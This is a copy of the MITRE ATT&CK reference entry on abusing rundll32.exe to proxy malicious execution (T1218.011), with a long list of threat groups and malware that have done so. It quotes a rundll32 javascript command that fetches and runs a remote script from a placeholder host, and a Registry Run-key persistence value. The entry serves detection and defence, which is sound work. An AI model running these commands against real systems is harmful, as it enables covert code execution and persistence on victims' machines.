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T1218.011 Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. 5

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:”..\mshtml,RunHTMLApplication “;document.write();GetObject(“script:https[:]//www[.]example[.]com/malicious.sct”)” This behavior has been seen used by malware such as Poweliks. 3

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.24 DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.1

Item Value
ID T1218.011
Sub-techniques T1218.001, T1218.002, T1218.003, T1218.004, T1218.005, T1218.007, T1218.008, T1218.009, T1218.010, T1218.011, T1218.012, T1218.013, T1218.014
Tactics TA0005
Platforms Windows
Version 2.1
Created 23 January 2020
Last Modified 21 April 2023

Procedure Examples

ID Name Description
S0045 ADVSTORESHELL ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.21
G0073 APT19 APT19 configured its payload to inject into the rundll32.exe.74
G0007 APT28 APT28 executed CHOPSTICK by using rundll32 commands such as rundll32.exe “C:\Windows\twain_64.dll”. APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.892190919293
G0022 APT3 APT3 has a tool that can run DLLs.73
G0050 APT32 APT32 malware has used rundll32.exe to execute an initial infection process.94
G0082 APT38 APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.78
G0096 APT41 APT41 has used rundll32.exe to execute a loader.83
S0438 Attor Attor‘s installer plugin can schedule rundll32.exe to load the dispatcher.20
S0093 Backdoor.Oldrea Backdoor.Oldrea can use rundll32 for execution on compromised hosts.32
S0606 Bad Rabbit Bad Rabbit has used rundll32 to launch a malicious DLL as C:Windowsinfpub.dat.56
S0268 Bisonal Bisonal has used rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\”vert” = “rundll32.exe c:\windows\temp\pvcu.dll , Qszdez”.38
S0520 BLINDINGCAN BLINDINGCAN has used Rundll32 to load a malicious DLL.15
G0108 Blue Mockingbird Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe.79
S0635 BoomBox BoomBox can use RunDLL32 for execution.12
S0204 Briba Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.51
S1039 Bumblebee Bumblebee has used rundll32 for execution of the loader component.6362
C0015 C0015 During C0015, the threat actors loaded DLLs via rundll32 using the svchost process.9
C0018 C0018 During C0018, the threat actors used rundll32 to run Mimikatz.101
C0021 C0021 During C0021, the threat actors used rundll32.exe to execute the Cobalt Strike Beacon loader DLL.100
G0008 Carbanak Carbanak installs VNC server software that executes through rundll32.86
S0154 Cobalt Strike Cobalt Strike can use rundll32.exe to load DLL from the command line.11910
S0244 Comnie Comnie uses Rundll32 to load a malicious DLL.44
G0052 CopyKittens CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.84
S0137 CORESHELL CORESHELL is installed via execution of rundll32 with an export named “init” or “InitW.”64
S0046 CozyCar The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.46
S0255 DDKONG DDKONG uses Rundll32 to ensure only a single instance of itself is running at once.28
S1052 DEADEYE DEADEYE can use rundll32.exe for execution of living off the land binaries (lolbin) such as SHELL32.DLL.39
S0554 Egregor Egregor has used rundll32 during execution.61
S0081 Elise After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.65
S0082 Emissary Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.43
S0634 EnvyScout EnvyScout has the ability to proxy execution of malicious files with Rundll32.12
S0568 EVILNUM EVILNUM can execute commands and scripts through rundll32.69
S0512 FatDuke FatDuke can execute via rundll32.22
S0267 FELIXROOT FELIXROOT uses Rundll32 for executing the dropper program.1314
S0143 Flame Rundll32.exe is used as a way of executing Flame at the command-line.58
S0381 FlawedAmmyy FlawedAmmyy has used rundll32 for execution.31
S1044 FunnyDream FunnyDream can use rundll32 for execution of its components.6
G0047 Gamaredon Group Gamaredon Group malware has used rundll32 to launch additional malicious components.76
S0032 gh0st RAT A gh0st RAT variant has used rundll32 for execution.71
S0342 GreyEnergy GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM).14
G0125 HAFNIUM HAFNIUM has used rundll32 to load malicious DLLs.88
S0698 HermeticWizard HermeticWizard has the ability to create a new process using rundll32.18
S1027 Heyoka Backdoor Heyoka Backdoor can use rundll32.exe to gain execution.19
S0260 InvisiMole InvisiMole has used rundll32.exe for execution.47
S0044 JHUHUGIT JHUHUGIT is executed using rundll32.exe.4849
G0094 Kimsuky Kimsuky has used rundll32.exe to execute malicious scripts and malware on a victim’s network.85
S0250 Koadic Koadic can use Rundll32 to execute additional payloads.7
S0356 KONNI KONNI has used Rundll32 to execute its loader for privilege escalation purposes.5960
S0236 Kwampirs Kwampirs uses rundll32.exe in a Registry value added to establish persistence.53
G0032 Lazarus Group Lazarus Group has used rundll32 to execute malicious payloads on a compromised host.82
G0140 LazyScripter LazyScripter has used rundll32.exe to execute Koadic stagers.75
G0059 Magic Hound Magic Hound has used rundll32.exe to execute MiniDump from comsvcs.dll when dumping LSASS memory.77
S0167 Matryoshka Matryoshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.50
S0576 MegaCortex MegaCortex has used rundll32.exe to load a DLL for file encryption.45
S1026 Mongall Mongall can use rundll32.exe for execution.19
S0256 Mosquito Mosquito‘s launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.8
G0069 MuddyWater MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.95
S0637 NativeZone NativeZone has used rundll32 to execute a malicious DLL.57
S0353 NOKKI NOKKI has used rundll32 for execution.54
S0368 NotPetya NotPetya uses rundll32.exe to install itself on remote systems when accessed via PsExec or wmic.66
C0022 Operation Dream Job During Operation Dream Job, Lazarus Group executed malware with C:\\windows\system32\rundll32.exe "C:\ProgramData\ThumbNail\thumbnail.db", CtrlPanel S-6-81-3811-75432205-060098-6872 0 0 905.989697
C0005 Operation Spalax During Operation Spalax, the threat actors used rundll32.exe to execute malicious installers.99
S1050 PcShare PcShare has used rundll32.exe for execution.6
S0518 PolyglotDuke PolyglotDuke can be executed using rundll32.exe.22
S0139 PowerDuke PowerDuke uses rundll32.exe to load.70
S0113 Prikormka Prikormka uses rundll32.exe to load its DLL.16
S0147 Pteranodon Pteranodon executes functions using rundll32.exe.72
S0196 PUNCHBUGGY PUNCHBUGGY can load a DLL using Rundll32.67
S0650 QakBot QakBot has used Rundll32.exe to drop malicious DLLs including Brute Ratel C4 and to enable C2 communication.2427252610
S0481 Ragnar Locker Ragnar Locker has used rundll32.exe to execute components of VirtualBox.55
S0148 RTM RTM runs its core DLL file using rundll32.exe.4142
S0074 Sakula Sakula calls cmd.exe to run various DLL files via rundll32.36
G0034 Sandworm Team Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe.80
S0461 SDBbot SDBbot has used rundll32.exe to execute DLLs.31
S0382 ServHelper ServHelper contains a module for downloading and executing DLLs that leverages rundll32.exe.37
S0589 Sibot Sibot has executed downloaded DLLs with rundll32.exe.23
C0024 SolarWinds Compromise During the SolarWinds Compromise, APT29 used Rundll32.exe to execute payloads.10217
S1030 Squirrelwaffle Squirrelwaffle has been executed using rundll32.exe.2930
S0142 StreamEx StreamEx uses rundll32 to call an exported function.52
S0559 SUNBURST SUNBURST used Rundll32 to execute payloads.17
S1064 SVCReady SVCReady has used rundll32.exe for execution.40
G0092 TA505 TA505 has leveraged rundll32.exe to execute malicious DLLs.8137
G0127 TA551 TA551 has used rundll32.exe to load malicious DLLs.87
S0452 USBferry USBferry can execute rundll32.exe in memory to avoid detection.35
S0141 Winnti for Windows The Winnti for Windows installer loads a DLL using rundll32.3334
S0412 ZxShell ZxShell has used rundll32.exe to execute other DLLs and named pipes.68


ID Mitigation Description
M1050 Exploit Protection Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.


ID Data Source Data Component
DS0017 Command Command Execution
DS0022 File File Metadata
DS0011 Module Module Load
DS0009 Process Process Creation


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